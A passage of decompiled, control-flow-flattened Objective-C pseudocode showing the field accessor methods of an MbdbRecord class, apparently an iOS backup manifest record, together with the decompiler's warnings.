int v5; // [rsp+14h] [rbp-Ch] BYREF
int *v6; // [rsp+18h] [rbp-8h]
v5 = -61863008;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 <= -61863009 )
{
if ( v5 == -1747943037 )
{
v2 = -974288915;
LABEL_11:
*v6 = v2;
}
else if ( v5 == -974288915 )
{
v2 = 1462505076;
goto LABEL_11;
}
}
if ( v5 != -61863008 )
break;
key = self->_key;
*v6 = -1747943037;
}
if ( v5 != 2076054688 )
break;
*v6 = -974288915;
}
}
while ( v5 != 1462505076 );
return key;
}
// 100238335: variable 'key' is possibly undefined
//----- (000000010023833B) ----------------------------------------------------
void __cdecl -[MbdbRecord setKey:](MbdbRecord *self, SEL a2, id a3)
{
int v4; // eax
char v5; // cf
int v6; // ecx
NSData *v7; // [rsp+8h] [rbp-48h]
int v8; // [rsp+14h] [rbp-3Ch] BYREF
NSData **p_key; // [rsp+18h] [rbp-38h]
int *v10; // [rsp+20h] [rbp-30h]
v8 = 2089626806;
v10 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v8 <= 873409791 )
{
if ( v8 > -311121823 )
{
switch ( v8 )
{
case -311121822:
p_key = &self->_key;
objc_retain(a3);
v5 = 1;
v7 = *p_key;
v4 = 1278355362;
v6 = -1609493547;
goto LABEL_26;
case -307638779:
objc_release(v7);
v4 = 873409792;
goto LABEL_28;
case 64836710:
objc_release(v7);
*v10 = -307638779;
break;
}
}
else
{
switch ( v8 )
{
case -1609493547:
*v10 = -1207213167;
break;
case -1592329714:
v5 = 0;
*p_key = (NSData *)a3;
v4 = 1428882565;
v6 = -1592329714;
LABEL_26:
if ( v5 )
v4 = v6;
LABEL_28:
*v10 = v4;
break;
case -1207213167:
v4 = -1592329714;
goto LABEL_28;
}
}
}
if ( v8 <= 1328984233 )
break;
switch ( v8 )
{
case 1328984234:
v5 = 0;
v4 = -307638779;
v6 = 64836710;
goto LABEL_26;
case 1428882565:
*v10 = 1328984234;
break;
case 2089626806:
v5 = 1;
v4 = 1278355362;
v6 = -311121822;
goto LABEL_26;
}
}
if ( v8 != 1144607247 )
break;
*p_key = (NSData *)a3;
*v10 = -1592329714;
}
if ( v8 != 1278355362 )
break;
objc_retain(a3);
*v10 = -311121822;
}
}
while ( v8 != 873409792 );
}
// 10023849F: variable 'v7' is possibly undefined
//----- (000000010023867A) ----------------------------------------------------
unsigned __int64 __cdecl -[MbdbRecord mode](MbdbRecord *self, SEL a2)
{
unsigned __int64 *p_mode; // rdi
int v3; // eax
unsigned __int64 *v5; // [rsp+0h] [rbp-40h]
unsigned __int64 v6; // [rsp+8h] [rbp-38h]
int v7; // [rsp+14h] [rbp-2Ch] BYREF
int *v8; // [rsp+18h] [rbp-28h]
v7 = -1304852857;
v8 = &v7;
p_mode = &self->_mode;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 284275811 )
{
if ( v7 > -1107952767 )
{
switch ( v7 )
{
case -1107952766:
*v8 = 397094628;
break;
case -823756097:
*v8 = -427123277;
break;
case -427123277:
v3 = 397094628;
goto LABEL_26;
}
}
else
{
switch ( v7 )
{
case -1740968935:
v6 = *v5;
v3 = -823756097;
goto LABEL_26;
case -1737987237:
v5 = p_mode;
v3 = 284275812;
LABEL_26:
*v8 = v3;
break;
case -1304852857:
v3 = -1737987237;
goto LABEL_26;
}
}
}
if ( v7 > 1029462789 )
break;
switch ( v7 )
{
case 284275812:
*v8 = 1771384164;
break;
case 397094628:
v3 = 1029462790;
goto LABEL_26;
case 675072351:
*v8 = -1737987237;
break;
}
}
if ( v7 == 1771384164 )
{
v3 = -1740968935;
goto LABEL_26;
}
if ( v7 != 2059734540 )
break;
*v8 = -1740968935;
}
}
while ( v7 != 1029462790 );
return v6;
}
// 10023871F: conditional instruction was optimized away because %var_30.4==BA56F486
// 10023880F: variable 'v5' is possibly undefined
// 100238946: variable 'v6' is possibly undefined
//----- (0000000100238953) ----------------------------------------------------
void __cdecl -[MbdbRecord setMode:](MbdbRecord *self, SEL a2, unsigned __int64 a3)
{
unsigned __int64 *p_mode; // rdi
int v4; // r15d
unsigned __int64 *v5; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
v6 = 400904185;
v7 = &v6;
p_mode = &self->_mode;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 477046772 )
{
if ( v6 > 795937710 )
{
switch ( v6 )
{
case 795937711:
*v5 = a3;
*v7 = 562661579;
break;
case 835040429:
v5 = p_mode;
v4 = -1050804680;
LABEL_27:
*v7 = v4;
break;
case 1473490367:
v4 = -1396893947;
goto LABEL_27;
}
}
else
{
switch ( v6 )
{
case 477046773:
*v7 = 835040429;
break;
case 562661579:
*v5 = a3;
v4 = 611889756;
goto LABEL_27;
case 611889756:
*v7 = 1473490367;
break;
}
}
}
if ( v6 > -1050804681 )
break;
switch ( v6 )
{
case -2063919483:
v4 = 562661579;
goto LABEL_27;
case -1396893947:
v4 = -266326789;
goto LABEL_27;
case -1234206343:
*v7 = -1396893947;
break;
}
}
if ( v6 != -1050804680 )
break;
*v7 = -2063919483;
}
if ( v6 == 400904185 )
{
v4 = 835040429;
goto LABEL_27;
}
}
while ( v6 != -266326789 );
}
// 100238ADE: conditional instruction was optimized away because %var_38.4==CC6C5D28
// 100238B4B: variable 'v5' is possibly undefined
//----- (0000000100238C7E) ----------------------------------------------------
unsigned __int64 __cdecl -[MbdbRecord inode](MbdbRecord *self, SEL a2)
{
int v2; // esi
unsigned __int64 inode; // [rsp+8h] [rbp-18h]
int v5; // [rsp+14h] [rbp-Ch] BYREF
int *v6; // [rsp+18h] [rbp-8h]
v5 = -9443177;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 > -9443178 )
{
if ( v5 == 940793990 )
{
v2 = -512435801;
LABEL_11:
*v6 = v2;
}
else if ( v5 == -9443177 )
{
inode = self->_inode;
*v6 = 940793990;
}
}
if ( v5 != -1479555189 )
break;
*v6 = -512435801;
}
if ( v5 == -512435801 )
{
v2 = -2091864524;
goto LABEL_11;
}
}
while ( v5 != -2091864524 );
return inode;
}
// 100238D7C: variable 'inode' is possibly undefined
//----- (0000000100238D82) ----------------------------------------------------
void __cdecl -[MbdbRecord setInode:](MbdbRecord *self, SEL a2, unsigned __int64 a3)
{
unsigned __int64 *p_inode; // rdi
int v4; // r9d
unsigned __int64 *v5; // [rsp+0h] [rbp-20h]
int v6; // [rsp+Ch] [rbp-14h] BYREF
int *v7; // [rsp+10h] [rbp-10h]
v6 = 1995512142;
v7 = &v6;
p_inode = &self->_inode;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 987198377 )
{
if ( v6 > -534399709 )
{
switch ( v6 )
{
case -534399708:
*v5 = a3;
v4 = 1885035450;
goto LABEL_28;
case -516499342:
v4 = 1094640103;
LABEL_28:
*v7 = v4;
break;
case -48856960:
*v7 = -1783608500;
break;
}
}
else
{
switch ( v6 )
{
case -1783608500:
v5 = p_inode;
v4 = 1687816119;
goto LABEL_28;
case -1278236870:
*v5 = a3;
goto LABEL_26;
case -898606264:
LABEL_26:
*v7 = -534399708;
break;
}
}
}
if ( v6 <= 1687816118 )
break;
switch ( v6 )
{
case 1687816119:
*v7 = -898606264;
break;
case 1885035450:
*v7 = 1623498645;
break;
case 1995512142:
v4 = -1783608500;
goto LABEL_28;
}
}
if ( v6 != 987198378 )
break;
*v7 = -516499342;
}
if ( v6 == 1623498645 )
{
v4 = -516499342;
goto LABEL_28;
}
}
while ( v6 != 1094640103 );
}
// 100238E48: conditional instruction was optimized away because %var_18.4==AB766FBF
// 100238F8C: variable 'v5' is possibly undefined
//----- (000000010023902B) ----------------------------------------------------
unsigned int __cdecl -[MbdbRecord userId](MbdbRecord *self, SEL a2)
{
int v2; // eax
unsigned int userId; // [rsp+8h] [rbp-10h]
int v5; // [rsp+Ch] [rbp-Ch] BYREF
int *v6; // [rsp+10h] [rbp-8h]
v5 = -993842464;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > -326452122 )
{
if ( v5 > 1597884496 )
{
if ( v5 == 1597884497 )
{
v2 = 532975409;
LABEL_19:
*v6 = v2;
}
else if ( v5 == 2119176662 )
{
userId = self->_userId;
v2 = -326452121;
goto LABEL_19;
}
}
else if ( v5 == -326452121 )
{
*v6 = 1597884497;
}
else if ( v5 == 532975409 )
{
v2 = -2008572478;
goto LABEL_19;
}
}
if ( v5 <= -1512394028 )
break;
if ( v5 == -1512394027 )
{
*v6 = 532975409;
}
else if ( v5 == -993842464 )
{
v2 = 2119176662;
goto LABEL_19;
}
}
if ( v5 != -2095474227 )
break;
*v6 = 2119176662;
}
}
while ( v5 != -2008572478 );
return userId;
}
// 1002391D2: variable 'userId' is possibly undefined
//----- (00000001002391D7) ----------------------------------------------------
void __cdecl -[MbdbRecord setUserId:](MbdbRecord *self, SEL a2, unsigned int a3)
{
unsigned int *p_userId; // rdi
int v4; // eax
unsigned int *v5; // [rsp+0h] [rbp-20h]
int v6; // [rsp+Ch] [rbp-14h] BYREF
int *v7; // [rsp+10h] [rbp-10h]
v6 = -704784331;
v7 = &v6;
p_userId = &self->_userId;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -540575165 )
{
if ( v6 > -713660747 )
{
if ( v6 == -713660746 )
{
v5 = p_userId;
v4 = -1069842721;
goto LABEL_21;
}
if ( v6 == -704784331 )
{
v4 = -713660746;
goto LABEL_21;
}
}
else if ( v6 == -1069842721 )
{
*v7 = -342953475;
}
else if ( v6 == -944872368 )
{
*v7 = 1856687681;
}
}
if ( v6 <= 928798863 )
break;
if ( v6 == 928798864 )
{
*v7 = -713660746;
}
else if ( v6 == 1856687681 )
{
v4 = -540575164;
goto LABEL_21;
}
}
if ( v6 != -349702123 )
break;
v4 = 1856687681;
LABEL_21:
*v7 = v4;
}
if ( v6 != -342953475 )
break;
*v5 = a3;
*v7 = -349702123;
}
}
while ( v6 != -540575164 );
}
// 1002392D4: conditional instruction was optimized away because %var_18.4==0
// 10023923F: variable 'v5' is possibly undefined
//----- (000000010023938F) ----------------------------------------------------
unsigned int __cdecl -[MbdbRecord groupId](MbdbRecord *self, SEL a2)
{
unsigned int *p_groupId; // rdi
int v3; // eax
unsigned int *v5; // [rsp+0h] [rbp-28h]
unsigned int v6; // [rsp+10h] [rbp-18h]
int v7; // [rsp+14h] [rbp-14h] BYREF
int *v8; // [rsp+18h] [rbp-10h]
v7 = -807421225;
v8 = &v7;
p_groupId = &self->_groupId;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 507617700 )
{
if ( v7 > 1493871574 )
{
switch ( v7 )
{
case 1493871575:
*v8 = 2005242122;
break;
case 1745717147:
*v8 = 1245168395;
break;
case 2005242122:
v3 = -844404548;
goto LABEL_24;
}
}
else
{
switch ( v7 )
{
case 507617701:
*v8 = -97490524;
break;
case 954238917:
*v8 = 406128598;
break;
case 1245168395:
v5 = p_groupId;
v3 = 1493871575;
goto LABEL_24;
}
}
}
if ( v7 > -97490525 )
break;
switch ( v7 )
{
case -1705771983:
*v8 = -844404548;
break;
case -844404548:
v6 = *v5;
*v8 = 954238917;
break;
case -807421225:
v3 = 1245168395;
goto LABEL_24;
}
}
if ( v7 != -97490524 )
break;
v3 = -15542397;
LABEL_24:
*v8 = v3;
}
if ( v7 == 406128598 )
{
v3 = -97490524;
goto LABEL_24;
}
}
while ( v7 != -15542397 );
return v6;
}
// 100239487: conditional instruction was optimized away because %var_1C.4==0
// 10023958A: variable 'v5' is possibly undefined
// 1002395C5: variable 'v6' is possibly undefined
//----- (00000001002395CB) ----------------------------------------------------
void __cdecl -[MbdbRecord setGroupId:](MbdbRecord *self, SEL a2, unsigned int a3)
{
unsigned int *p_groupId; // rdi
int v4; // eax
unsigned int *v5; // [rsp+0h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-Ch] BYREF
int *v7; // [rsp+10h] [rbp-8h]
v6 = -1911510712;
v7 = &v6;
p_groupId = &self->_groupId;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -610925175 )
{
if ( v6 > -690059947 )
{
if ( v6 == -690059946 )
{
*v5 = a3;
v4 = 1351643916;
LABEL_20:
*v7 = v4;
}
else if ( v6 == -651364126 )
{
*v7 = -2126824131;
}
}
else if ( v6 == -2126824131 )
{
v5 = p_groupId;
*v7 = -610925174;
}
else if ( v6 == -1911510712 )
{
v4 = -2126824131;
goto LABEL_20;
}
}
if ( v6 <= 1351643915 )
break;
if ( v6 == 1351643916 )
{
*v7 = -122176393;
}
else if ( v6 == 1720967156 )
{
v4 = -690059946;
goto LABEL_20;
}
}
if ( v6 != -610925174 )
break;
*v7 = 1720967156;
}
if ( v6 != 48891347 )
break;
*v5 = a3;
*v7 = -690059946;
}
}
while ( v6 != -122176393 );
}
// 100239694: conditional instruction was optimized away because %var_10.4==700F69F5
// 10023965D: variable 'v5' is possibly undefined
//----- (00000001002397AB) ----------------------------------------------------
unsigned int __cdecl -[MbdbRecord mtime](MbdbRecord *self, SEL a2)
{
unsigned int mtime; // [rsp+8h] [rbp-10h]
int v4; // [rsp+Ch] [rbp-Ch] BYREF
int *v5; // [rsp+10h] [rbp-8h]
v4 = 999382255;
v5 = &v4;
do
{
while ( 1 )
{
while ( v4 > 999382254 )
{
if ( v4 == 1454163962 )
{
*v5 = -548012044;
}
else if ( v4 == 999382255 )
{
LABEL_8:
*v5 = 345484446;
}
}
if ( v4 == -1410730668 )
goto LABEL_8;
if ( v4 != 345484446 )
break;
mtime = self->_mtime;
*v5 = 1454163962;
}
}
while ( v4 != -548012044 );
return mtime;
}
// 10023981F: variable 'mtime' is possibly undefined
//----- (0000000100239824) ----------------------------------------------------
void __cdecl -[MbdbRecord setMtime:](MbdbRecord *self, SEL a2, unsigned int a3)
{
unsigned int *p_mtime; // rdi
int v4; // eax
unsigned int *v5; // [rsp+0h] [rbp-28h]
int v6; // [rsp+Ch] [rbp-1Ch] BYREF
int *v7; // [rsp+10h] [rbp-18h]
v6 = 280170295;
v7 = &v6;
p_mtime = &self->_mtime;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -266878082 )
{
if ( v6 > -896461561 )
{
if ( v6 == -896461560 )
{
*v5 = a3;
*v7 = -804881802;
}
else if ( v6 == -804881802 )
{
*v5 = a3;
v4 = -928858234;
goto LABEL_21;
}
}
else if ( v6 == -1211062477 )
{
*v7 = -266878081;
}
else if ( v6 == -928858234 )
{
*v7 = 227284083;
}
}
if ( v6 > 227284082 )
break;
if ( v6 == -266878081 )
{
v5 = p_mtime;
v4 = -103619191;
goto LABEL_21;
}
if ( v6 == -103619191 )
*v7 = 251519569;
}
if ( v6 != 251519569 )
break;
v4 = -804881802;
LABEL_21:
*v7 = v4;
}
if ( v6 == 280170295 )
{
v4 = -266878081;
goto LABEL_21;
}
}
while ( v6 != 227284083 );
}
// 1002398B7: conditional instruction was optimized away because %var_20.4==4800AA80
// 100239939: variable 'v5' is possibly undefined
//----- (0000000100239A07) ----------------------------------------------------
unsigned int __cdecl -[MbdbRecord atime](MbdbRecord *self, SEL a2)
{
unsigned int *p_atime; // rdi
int v3; // eax
unsigned int *v5; // [rsp+0h] [rbp-40h]
unsigned int v6; // [rsp+10h] [rbp-30h]
int v7; // [rsp+14h] [rbp-2Ch] BYREF
int *v8; // [rsp+18h] [rbp-28h]
v7 = -1824636952;
v8 = &v7;
p_atime = &self->_atime;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 602643000 )
{
if ( v7 > -1804439689 )
{
if ( v7 == -1804439688 )
{
v3 = -1413689;
LABEL_20:
*v8 = v3;
}
else if ( v7 == -1413689 )
{
v3 = 1032404207;
goto LABEL_20;
}
}
else if ( v7 == -2084228591 )
{
*v8 = -1413689;
}
else if ( v7 == -1824636952 )
{
v3 = 602643001;
goto LABEL_20;
}
}
if ( v7 > 1032404206 )
break;
if ( v7 == 602643001 )
{
v5 = p_atime;
v3 = 1501681039;
goto LABEL_20;
}
if ( v7 == 718597660 )
{
v6 = *v5;
*v8 = -1804439688;
}
}
if ( v7 != 1501681039 )
break;
*v8 = 718597660;
}
if ( v7 != 1803608422 )
break;
*v8 = 602643001;
}
}
while ( v7 != 1032404207 );
return v6;
}
// 100239AC7: conditional instruction was optimized away because %var_34.4==1
// 100239AE3: variable 'v5' is possibly undefined
// 100239C0D: variable 'v6' is possibly undefined
//----- (0000000100239C19) ----------------------------------------------------
void __cdecl -[MbdbRecord setAtime:](MbdbRecord *self, SEL a2, unsigned int a3)
{
unsigned int *p_atime; // rdi
int v4; // eax
unsigned int *v5; // [rsp+0h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-Ch] BYREF
int *v7; // [rsp+10h] [rbp-8h]
v6 = 24781047;
v7 = &v6;
p_atime = &self->_atime;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 121727460 )
{
if ( v6 > 1490109052 )
{
if ( v6 == 1490109053 )
{
*v7 = 910545993;
}
else if ( v6 == 1750000357 )
{
*v5 = a3;
v4 = 121727461;
goto LABEL_18;
}
}
else if ( v6 == 121727461 )
{
*v7 = -1396940234;
}
else if ( v6 == 910545993 )
{
v5 = p_atime;
v4 = -451445280;
goto LABEL_18;
}
}
if ( v6 <= -426186934 )
break;
if ( v6 == -426186933 )
{
v4 = 1750000357;
LABEL_18:
*v7 = v4;
}
else if ( v6 == 24781047 )
{
v4 = 910545993;
goto LABEL_18;
}
}
if ( v6 != -1093923865 )
break;
*v5 = a3;
*v7 = 1750000357;
}
if ( v6 != -451445280 )
break;
*v7 = -426186933;
}
}
while ( v6 != -1396940234 );
}
// 100239CF3: conditional instruction was optimized away because %var_10.4==0
// 100239D2B: variable 'v5' is possibly undefined
//----- (0000000100239DB9) ----------------------------------------------------
unsigned int __cdecl -[MbdbRecord ctime](MbdbRecord *self, SEL a2)
{
unsigned int *p_ctime; // rdi
int v3; // esi
unsigned int *v5; // [rsp+0h] [rbp-20h]
unsigned int v6; // [rsp+10h] [rbp-10h]
int v7; // [rsp+14h] [rbp-Ch] BYREF
int *v8; // [rsp+18h] [rbp-8h]
v7 = 2052486260;
v8 = &v7;
p_ctime = &self->_ctime;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 440771044 )
{
if ( v7 > -1241966557 )
{
if ( v7 == -1241966556 )
{
v6 = *v5;
*v8 = 1129284449;
}
else if ( v7 == -998410785 )
{
*v8 = -1501779457;
}
}
else
{
if ( v7 == -1501779457 )
{
v5 = p_ctime;
v3 = -1401339819;
goto LABEL_21;
}
if ( v7 == -1401339819 )
*v8 = -1241966556;
}
}
if ( v7 > 1129284448 )
break;
if ( v7 == 440771045 )
{
*v8 = 728050431;
}
else if ( v7 == 728050431 )
{
v3 = 1595041602;
goto LABEL_21;
}
}
if ( v7 != 1129284449 )
break;
v3 = 728050431;
LABEL_21:
*v8 = v3;
}
if ( v7 == 2052486260 )
{
v3 = -1501779457;
goto LABEL_21;
}
}
while ( v7 != 1595041602 );
return v6;
}
// 100239E37: conditional instruction was optimized away because %var_14.4==4AFFA576
// 100239F38: variable 'v5' is possibly undefined
// 100239F9E: variable 'v6' is possibly undefined
//----- (0000000100239FA3) ----------------------------------------------------
void __cdecl -[MbdbRecord setCtime:](MbdbRecord *self, SEL a2, unsigned int a3)
{
unsigned int *p_ctime; // rdi
int v4; // eax
unsigned int *v5; // [rsp+0h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-Ch] BYREF
int *v7; // [rsp+10h] [rbp-8h]
v6 = -1104868335;
v7 = &v6;
p_ctime = &self->_ctime;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -287586250 )
{
if ( v6 > -1199084891 )
{
if ( v6 == -1199084890 )
{
*v7 = 1618763678;
}
else if ( v6 == -1104868335 )
{
v4 = -1355920380;
goto LABEL_18;
}
}
else if ( v6 == -1709118503 )
{
*v7 = -1355920380;
}
else if ( v6 == -1355920380 )
{
v5 = p_ctime;
v4 = -1199084890;
goto LABEL_18;
}
}
if ( v6 <= 1618763677 )
break;
if ( v6 == 1618763678 )
{
v4 = 2138852892;
LABEL_18:
*v7 = v4;
}
else if ( v6 == 2138852892 )
{
*v5 = a3;
v4 = -287586249;
goto LABEL_18;
}
}
if ( v6 != -287586249 )
break;
*v7 = -159402297;
}
if ( v6 != 1206525395 )
break;
*v5 = a3;
*v7 = 2138852892;
}
}
while ( v6 != -159402297 );
}
// 10023A0F7: conditional instruction was optimized away because %var_10.4==FEFFFBAF
// 10023A01C: variable 'v5' is possibly undefined
//----- (000000010023A162) ----------------------------------------------------
unsigned __int64 __cdecl -[MbdbRecord size](MbdbRecord *self, SEL a2)
{
unsigned __int64 *p_size; // rdi
int v3; // eax
unsigned __int64 *v5; // [rsp+0h] [rbp-48h]
unsigned __int64 v6; // [rsp+8h] [rbp-40h]
int v7; // [rsp+14h] [rbp-34h] BYREF
int *v8; // [rsp+18h] [rbp-30h]
v7 = -778304762;
v8 = &v7;
p_size = &self->_size;
do
{
while ( 1 )
{
while ( v7 > 871549555 )
{
if ( v7 > 1687237727 )
{
switch ( v7 )
{
case 1687237728:
v6 = *v5;
v3 = 1971000665;
goto LABEL_27;
case 1780583005:
v3 = 871549556;
LABEL_27:
*v8 = v3;
break;
case 1971000665:
*v8 = 1780583005;
break;
}
}
else
{
switch ( v7 )
{
case 871549556:
v3 = -1879693652;
goto LABEL_27;
case 909747693:
*v8 = -1334152451;
break;
case 1424236403:
*v8 = 871549556;
break;
}
}
}
if ( v7 <= -778304763 )
break;
switch ( v7 )
{
case -778304762:
v3 = -1334152451;
goto LABEL_27;
case -552552479:
*v8 = -808354287;
break;
case 844477169:
*v8 = 1687237728;
break;
}
}
if ( v7 == -1334152451 )
{
v5 = p_size;
v3 = -552552479;
goto LABEL_27;
}
if ( v7 == -808354287 )
{
v3 = 1687237728;
goto LABEL_27;
}
}
while ( v7 != -1879693652 );
return v6;
}
// 10023A2DD: conditional instruction was optimized away because %var_38.4==86691F17
// 10023A35F: variable 'v5' is possibly undefined
// 10023A422: variable 'v6' is possibly undefined
//----- (000000010023A431) ----------------------------------------------------
void __cdecl -[MbdbRecord setSize:](MbdbRecord *self, SEL a2, unsigned __int64 a3)
{
unsigned __int64 *p_size; // rdi
int v4; // eax
unsigned __int64 *v5; // [rsp+0h] [rbp-28h]
int v6; // [rsp+Ch] [rbp-1Ch] BYREF
int *v7; // [rsp+10h] [rbp-18h]
v6 = -1117705575;
v7 = &v6;
p_size = &self->_size;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 635673747 )
{
if ( v6 > 138232374 )
{
if ( v6 == 138232375 )
{
v5 = p_size;
v4 = 1731306195;
goto LABEL_21;
}
if ( v6 == 572818592 )
{
*v5 = a3;
v4 = 2059381424;
goto LABEL_21;
}
}
else
{
if ( v6 == -1117705575 )
{
v4 = 138232375;
goto LABEL_21;
}
if ( v6 == -576719217 )
{
*v5 = a3;
*v7 = 572818592;
}
}
}
if ( v6 <= 1731306194 )
break;
if ( v6 == 1731306195 )
{
*v7 = 635673748;
}
else if ( v6 == 2059381424 )
{
*v7 = 1015211505;
}
}
if ( v6 != 635673748 )
break;
v4 = 572818592;
LABEL_21:
*v7 = v4;
}
if ( v6 != 1211144131 )
break;
*v7 = 138232375;
}
}
while ( v6 != 1015211505 );
}
// 10023A5D0: conditional instruction was optimized away because %var_20.4==F23B4BDC
// 10023A50C: variable 'v5' is possibly undefined
//----- (000000010023A69D) ----------------------------------------------------
unsigned __int8 __cdecl -[MbdbRecord flags](MbdbRecord *self, SEL a2)
{
unsigned __int8 *p_flags; // rdi
int v3; // r8d
unsigned __int8 *v5; // [rsp+0h] [rbp-20h]
int v6; // [rsp+Ch] [rbp-14h] BYREF
int *v7; // [rsp+10h] [rbp-10h]
unsigned __int8 v8; // [rsp+1Fh] [rbp-1h]
v6 = 961663087;
v7 = &v6;
p_flags = &self->_flags;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -807660377 )
{
if ( v6 > -1394666558 )
{
if ( v6 == -1394666557 )
{
v8 = *v5;
*v7 = -1665777194;
}
else if ( v6 == -1082258863 )
{
*v7 = -1394666557;
}
}
else if ( v6 == -2002795694 )
{
*v7 = 1863330059;
}
else if ( v6 == -1665777194 )
{
v3 = 1863330059;
goto LABEL_21;
}
}
if ( v6 > 961663086 )
break;
if ( v6 == -807660376 )
{
v5 = p_flags;
*v7 = -1082258863;
}
else if ( v6 == -113302261 )
{
*v7 = -807660376;
}
}
if ( v6 != 961663087 )
break;
v3 = -807660376;
LABEL_21:
*v7 = v3;
}
if ( v6 == 1863330059 )
{
v3 = 1658946445;
goto LABEL_21;
}
}
while ( v6 != 1658946445 );
return v8;
}
// 10023A860: conditional instruction was optimized away because %var_18.4==0
// 10023A83F: variable 'v5' is possibly undefined
//----- (000000010023A883) ----------------------------------------------------
void __cdecl -[MbdbRecord setFlags:](MbdbRecord *self, SEL a2, unsigned __int8 a3)
{
unsigned __int8 *p_flags; // rdi
int v4; // r9d
unsigned __int8 *v5; // [rsp+0h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-Ch] BYREF
int *v7; // [rsp+10h] [rbp-8h]
v6 = -257579465;
v7 = &v6;
p_flags = &self->_flags;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 488575408 )
{
if ( v6 > -26734977 )
{
if ( v6 == -26734976 )
{
LABEL_17:
*v7 = 1445570502;
}
else if ( v6 == -5942854 )
{
*v7 = 1965410225;
}
}
else
{
if ( v6 == -1474805348 )
{
v5 = p_flags;
v4 = -5942854;
goto LABEL_20;
}
if ( v6 == -257579465 )
{
v4 = -1474805348;
goto LABEL_20;
}
}
}
if ( v6 > 1445570501 )
break;
if ( v6 == 488575409 )
goto LABEL_17;
if ( v6 == 1164914840 )
*v7 = -1474805348;
}
if ( v6 != 1445570502 )
break;
v4 = 1755321004;
LABEL_20:
*v7 = v4;
}
if ( v6 != 1965410225 )
break;
*v5 = a3;
*v7 = 488575409;
}
}
while ( v6 != 1755321004 );
}
// 10023A947: conditional instruction was optimized away because %var_10.4==B4A75D56
// 10023A90F: variable 'v5' is possibly undefined
//----- (000000010023AA74) ----------------------------------------------------
NSArray *__cdecl -[MbdbRecord properties](MbdbRecord *self, SEL a2)
{
NSArray **p_properties; // rdi
int v3; // r10d
NSArray **v5; // [rsp+0h] [rbp-30h]
NSArray *v6; // [rsp+8h] [rbp-28h]
int v7; // [rsp+14h] [rbp-1Ch] BYREF
int *v8; // [rsp+18h] [rbp-18h]
v7 = -1205886779;
v8 = &v7;
p_properties = &self->_properties;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > -222553634 )
{
if ( v7 > 882880899 )
{
if ( v7 == 882880900 )
{
*v8 = 1804431980;
}
else if ( v7 == 1804431980 )
{
v5 = p_properties;
v3 = 377321222;
goto LABEL_21;
}
}
else if ( v7 == -222553633 )
{
*v8 = -1130271207;
}
else if ( v7 == 377321222 )
{
*v8 = -894329327;
}
}
if ( v7 <= -997316513 )
break;
if ( v7 == -997316512 )
{
v3 = -1130271207;
goto LABEL_21;
}
if ( v7 == -894329327 )
{
v6 = *v5;
*v8 = -997316512;
}
}
if ( v7 != -1205886779 )
break;
v3 = 1804431980;
LABEL_21:
*v8 = v3;
}
if ( v7 == -1130271207 )
{
v3 = -1406992801;
goto LABEL_21;
}
}
while ( v7 != -1406992801 );
return v6;
}
// 10023ACDD: conditional instruction was optimized away because %var_20.4==9EE3952
// 10023ABDE: variable 'v5' is possibly undefined
// 10023ACFA: variable 'v6' is possibly undefined
//----- (000000010023AD03) ----------------------------------------------------
void __cdecl -[MbdbRecord setProperties:](MbdbRecord *self, SEL a2, id a3)
{
int v4; // ecx
int v5; // eax
NSArray *properties; // [rsp+0h] [rbp-40h]
int v7; // [rsp+Ch] [rbp-34h] BYREF
int *v8; // [rsp+10h] [rbp-30h]
v7 = -1090643631;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= -973250857 )
{
if ( v7 > -1090643632 )
{
switch ( v7 )
{
case -1090643631:
v5 = -2049886715;
goto LABEL_28;
case -1053978271:
v5 = -1028509545;
LABEL_28:
*v8 = v5;
break;
case -1028509545:
v4 = 1160469942;
LABEL_22:
v5 = v4;
goto LABEL_28;
}
}
else
{
switch ( v7 )
{
case -2049886715:
objc_retain(a3);
properties = self->_properties;
self->_properties = (NSArray *)a3;
v4 = -1169535659;
goto LABEL_22;
case -1244261624:
objc_retain(a3);
self->_properties = (NSArray *)a3;
*v8 = -2049886715;
break;
case -1169535659:
*v8 = -973250856;
break;
}
}
}
if ( v7 > 1137246188 )
break;
switch ( v7 )
{
case -973250856:
v5 = 1909827528;
goto LABEL_28;
case -588549166:
*v8 = -1053978271;
break;
case 419040223:
*v8 = -1028509545;
break;
}
}
if ( v7 != 1137246189 )
break;
objc_release(properties);
*v8 = 1909827528;
}
if ( v7 == 1909827528 )
{
objc_release(properties);
v5 = -588549166;
goto LABEL_28;
}
}
while ( v7 != 1160469942 );
}
// 10023AF4F: conditional instruction was optimized away because zf.1==0
// 10023AEB7: variable 'properties' is possibly undefined
//----- (000000010023B01C) ----------------------------------------------------
void __cdecl -[MbdbRecord .cxx_destruct](MbdbRecord *self, SEL a2)
{
NSData **p_hashData; // r12
NSString **p_link; // r13
NSString **p_filename; // r14
NSString **p_domain; // rbx
int v6; // eax
int v7; // ecx
int v8; // ecx
id *p_properties; // [rsp+8h] [rbp-48h]
id *location; // [rsp+10h] [rbp-40h]
